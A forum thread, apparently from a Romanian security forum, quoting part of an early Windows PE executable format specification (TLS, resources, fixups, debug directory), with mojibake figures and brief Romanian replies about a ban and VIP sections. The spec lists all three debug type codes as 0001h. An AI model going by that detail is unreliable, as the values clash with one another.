ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ INDEX VARIABLE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ CALLBACK ADDRESSES ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 12. Thread Local Storage Layout 7.1 Thread Local Storage Directory Table The Thread Local Storage Directory Table contains address information that is used to describe the rest of TLS. The Thread Local Storage Directory Table has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ START DATA BLOCK VA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ END DATA BLOCK VA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ INDEX VA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ CALLBACK TABLE VA ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 13. Thread Local Storage Directory Table START DATA BLOCK VA = DD Virtual Address of the start of the thread local storage data block. END DATA BLOCK VA = DD Virtual Address of the end of the thread local storage data block. INDEX VA = DD Virtual Address of the index variable used to access the thread local storage data block. CALLBACK TABLE VA = DD Virtual Address of the callback table. 7.2 Thread Local Storage CallBack Table The Thread Local Storage Callbacks is an array of Virtual Address of functions to be called by the loader after thread creation and thread termination. The last entry is empty (NULL) which indicates the end of the table. The Thread Local Storage CallBack Table has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ FUNCTION1 VA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ FUNCTION2 VA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NULL ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 14. Thread Local Storage CallBack Table 8. Resources Resources are indexed by a multiple level binary-sorted tree structure. The overall design can incorporate 2**31 levels, however, NT uses only three: the highest is TYPE, then NAME, then LANGUAGE. A typical file layout for the resource information follows: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ RESOURCE DIRECTORY ³ ³ ³ ³ ³ ³ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESOURCE DATA ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 15. Resource File Layout The Resource directory is made up of the following tables: 8.1 Resource Directory Table ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ RESOURCE FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TIME/DATE STAMP ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ MAJOR VERSION ³ MINOR VERSION ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ # NAME ENTRY ³ # ID ENTRY ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESOURCE DIR ENTRIES ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 16. Resource Table Entry RESOURCE FLAGS = DD Currently set to zero. TIME/DATE STAMP = DD Time/Date the resource data was created by the resource compiler. MAJOR/MINOR VERSION = DW A user settable major/minor version number. # NAME ENTRY = DW The number of name entries. This field contains the number of entries at the beginning of the array of directory entries which have actual string names associated with them. # ID ENTRY = DW The number of ID integer entries. This field contains the number of 32-bit integer IDs as their names in the array of directory entries. The resource directory is followed by a variable length array of directory entries. # NAME ENTRY is the number of entries at the beginning of the array that have actual names associated with each entry. The entires are in ascending order, case insensitive strings. # ID ENTRY identifies the number of entries that have 32-bit integer IDs as their name. These entries are also sorted in ascending order. This structure allows fast lookup by either name or number, but for any given resource entry only one form of lookup is supported, not both. This is consistent with the syntax of the .RC file and the .RES file. The array of directory entries have the following format: 3 0 1 ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ NAME RVA/INTEGER ID ³ ÃÄÒÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³Eº DATA ENTRY RVA/SUBDIR RVA ³ ÀÄÐÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 17. Resource Directory Entry INTERGER ID = DD ID. This field contains a integer ID field to identify a resource. NAME RVA = DD Name RVA address. This field contains a 31-bit address relative to the beginning of the Image Base to a Resource Directory String Entry. E = 1-bit (mask 80000000h) Unescape bit. This bit is zero for unescaped Resource Data Entries. DATA RVA = 31-bits (mask 7fffffffh) Data entry address. This field contains a 31-bit address relative to the beginning of the Image Base to a Resource Data Entry. E = 1-bit (mask 80000000h) Escape bit. This bit is 1 for escaped Subdirectory Entry. DATA RVA = 31-bits (mask 7fffffffh) Directory entries. This field contains a 31-bit address relative to the beginning of the Image Base to Subdirectory Entry. Each resource directory string entry has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ LENGTH ³ UNICODE STRING ³ ÃÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄ´ ³ ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 18. Resource Directory String Entry LENGTH = DW Length of string. UNICODE STRING = DW UNICODE String. All of these string objects are stored together after the last resource directory entry and before the first resource data object. This minimizes the impact of these variable length objects on the alignment of the fixed size directory entry objects. The length needs to be word aligned. Each Resource Data Entry has the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ DATA RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ CODEPAGE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ RESERVED ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 19. Resource Data Entry DATA RVA = DD Address of Resource Data. This field contains 32-bit virtaul address of the resource data (relative to the Image Base). SIZE = DD Size of Resource Data. This field contains the size of the resource data for this resource. CODEPAGE = DD Codepage. RESERVED = DD Reserved - must be zero. Each resource data entry describes a leaf node in the resource directory tree. It contains an address which is relative to the beginning of Image Base, a size field that gives the number of bytes of data at that address, a CodePage that should be used when decoding code point values within the resource data. Typically for new applications the code page would be the unicode code page. 8.2 Resource Example The following is an example for an app. which wants to use the following data as resources: TypeId# NameId# Language ID Resource Data 00000001 00000001 0 00010001 00000001 00000001 1 10010001 00000001 00000002 0 00010002 00000001 00000003 0 00010003 00000002 00000001 0 00020001 00000002 00000002 0 00020002 00000002 00000003 0 00020003 00000002 00000004 0 00020004 00000009 00000001 0 00090001 00000009 00000009 0 00090009 00000009 00000009 1 10090009 00000009 00000009 2 20090009 Then the Resource Directory in the Portable format looks like: Offset Data 0000: 00000000 00000000 00000000 00030000 (3 entries in this directory) 0010: 00000001 80000028 (TypeId #1, Subdirectory at offset 0x28) 0018: 00000002 80000050 (TypeId #2, Subdirectory at offset 0x50) 0020: 00000009 80000080 (TypeId #9, Subdirectory at offset 0x80) 0028: 00000000 00000000 00000000 00030000 (3 entries in this directory) 0038: 00000001 800000A0 (NameId #1, Subdirectory at offset 0xA0) 0040: 00000002 00000108 (NameId #2, data desc at offset 0x108) 0048: 00000003 00000118 (NameId #3, data desc at offset 0x118) 0050: 00000000 00000000 00000000 00040000 (4 entries in this directory) 0060: 00000001 00000128 (NameId #1, data desc at offset 0x128) 0068: 00000002 00000138 (NameId #2, data desc at offset 0x138) 0070: 00000003 00000148 (NameId #3, data desc at offset 0x148) 0078: 00000004 00000158 (NameId #4, data desc at offset 0x158) 0080: 00000000 00000000 00000000 00020000 (2 entries in this directory) 0090: 00000001 00000168 (NameId #1, data desc at offset 0x168) 0098: 00000009 800000C0 (NameId #9, Subdirectory at offset 0xC0) 00A0: 00000000 00000000 00000000 00020000 (2 entries in this directory) 00B0: 00000000 000000E8 (Language ID 0, data desc at offset 0xE8 00B8: 00000001 000000F8 (Language ID 1, data desc at offset 0xF8 00C0: 00000000 00000000 00000000 00030000 (3 entries in this directory) 00D0: 00000001 00000178 (Language ID 0, data desc at offset 0x178 00D8: 00000001 00000188 (Language ID 1, data desc at offset 0x188 00E0: 00000001 00000198 (Language ID 2, data desc at offset 0x198 00E8: 000001A8 (At offset 0x1A8, for TypeId #1, NameId #1, Language id #0 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 00F8: 000001AC (At offset 0x1AC, for TypeId #1, NameId #1, Language id #1 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0108: 000001B0 (At offset 0x1B0, for TypeId #1, NameId #2, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0118: 000001B4 (At offset 0x1B4, for TypeId #1, NameId #3, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0128: 000001B8 (At offset 0x1B8, for TypeId #2, NameId #1, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0138: 000001BC (At offset 0x1BC, for TypeId #2, NameId #2, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0148: 000001C0 (At offset 0x1C0, for TypeId #2, NameId #3, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0158: 000001C4 (At offset 0x1C4, for TypeId #2, NameId #4, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0168: 000001C8 (At offset 0x1C8, for TypeId #9, NameId #1, 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0178: 000001CC (At offset 0x1CC, for TypeId #9, NameId #9, Language id #0 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0188: 000001D0 (At offset 0x1D0, for TypeId #9, NameId #9, Language id #1 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) 0198: 000001D4 (At offset 0x1D4, for TypeId #9, NameId #9, Language id #2 00000004 (4 bytes of data) 00000000 (codepage) 00000000 (reserved) And the data for the resources will look like: 01A8: 00010001 01AC: 10010001 01B0: 00010002 01B4: 00010003 01B8: 00020001 01BC: 00020002 01C0: 00020003 01C4: 00020004 01C8: 00090001 01CC: 00090009 01D0: 10090009 01D4: 20090009 9. Fixup Table The Fixup Table contains entries for all fixups in the image. The Total Fixup Data Size in the PE Header is the number of bytes in the fixup table. The fixup table is broken into blocks of fixups. Each block represents the fixups for a 4K page. Fixups that are resolved by the linker do not need to be processed by the loader, unless the load image can't be loaded at the Image Base specified in the PE Header. 9.1 Fixup Block Fixup blocks have the following format: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ PAGE RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ BLOCK SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TYPE/OFFSET ³ TYPE/OFFSET ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TYPE/OFFSET ³ ... ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 20. Fixup Block Format To apply a fixup, a delta needs to be calculated. The 32-bit delta is the difference between the preferred base, and the base where the image is actually loaded. If the image is loaded at its preferred base, the delta would be zero, and thus the fixups would not have to be applied. Each block must start on a DWORD boundary. The ABSOLUTE fixup type can be used to pad a block. PAGE RVA = DD Page RVA. The image base plus the page rva is added to each offset to create the virtual address of where the fixup needs to be applied. BLOCK SIZE = DD Number of bytes in the fixup block. This includes the PAGE RVA and SIZE fields. TYPE/OFFSET is defined as: 1 1 0 5 1 ÚÄÄÄÄÒÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³TYPEº OFFSET ³ ÀÄÄÄÄÐÄÄÄÄÄÄÄÄÄÄÄÄÙ Figure 21. Fixup Record Format TYPE = 4-bit fixup type. This value has the following definitions: o 0h __ABSOLUTE. This is a NOP. The fixup is skipped. o 1h __HIGH. Add the high 16-bits of the delta to the 16-bit field at Offset. The 16-bit field represents the high value of a 32- bit word. o 2h __LOW. Add the low 16-bits of the delta to the 16-bit field at Offset. The 16-bit field represents the low half value of a 32-bit word. This fixup will only be emitted for a RISC machine when the image Object Align isn't the default of 64K. o 3h __HIGHLOW. Apply the 32-bit delta to the 32-bit field at Offset. o 4h __HIGHADJUST. This fixup requires a full 32-bit value. The high 16-bits is located at Offset, and the low 16-bits is located in the next Offset array element (this array element is included in the SIZE field). The two need to be combined into a signed variable. Add the 32-bit delta. Then add 0x8000 and store the high 16-bits of the signed variable to the 16-bit field at Offset. o 5h __MIPSJMPADDR. All other values are reserved. 10. Debug Information The debug information is defined by the debugger and is not controlled by the portable EXE format or linker. The only data defined by the portable EXE format is the Debug Directory Table. 10.1 Debug Directory The debug directory table consists of one or more entries that have the following format: ÚÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄ¿ ³ DEBUG FLAGS ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ TIME/DATE STAMP ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ MAJOR VERSION ³ MINOR VERSION ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ DEBUG TYPE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ DATA SIZE ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ DATA RVA ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ DATA SEEK ³ ÀÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÙ Figure 22. Debug Directory Entry DEBUG FLAGS = DD Set to zero for now. TIME/DATE STAMP = DD Time/Date the debug data was created. MAJOR/MINOR VERSION = DW Version stamp. This stamp can be used to determine the version of the debug data. DEBUG TYPE = DD Format type. To support multiple debuggers, this field determines the format of the debug information. This value has the following definitions: o 0001h __Image contains COFF symbolics. o 0001h __Image contains CodeView symbolics. o 0001h __Image contains FPO symbolics. DATA SIZE = DD The number of bytes in the debug data. This is the size of the actual debug data and does not include the debug directory. DATA RVA = DD The relative virtual address of the debug data. This address is relative to the beginning of the Image Base. DATA SEEK = DD The seek value from the beginning of the file to the debug data. If the image contains more than one type of debug information, then the next debug directory will immediately follow the first debug directory.

Cate md5 pe secunda?

E si aici: http://rstcenter.com/forum/showthread.php?t=3774

Banul va fi temporar, si daca iti faci alt cont, vei primi ban si pe acela.

Mai ramane putin la sectiunile VIP, apoi il fac public.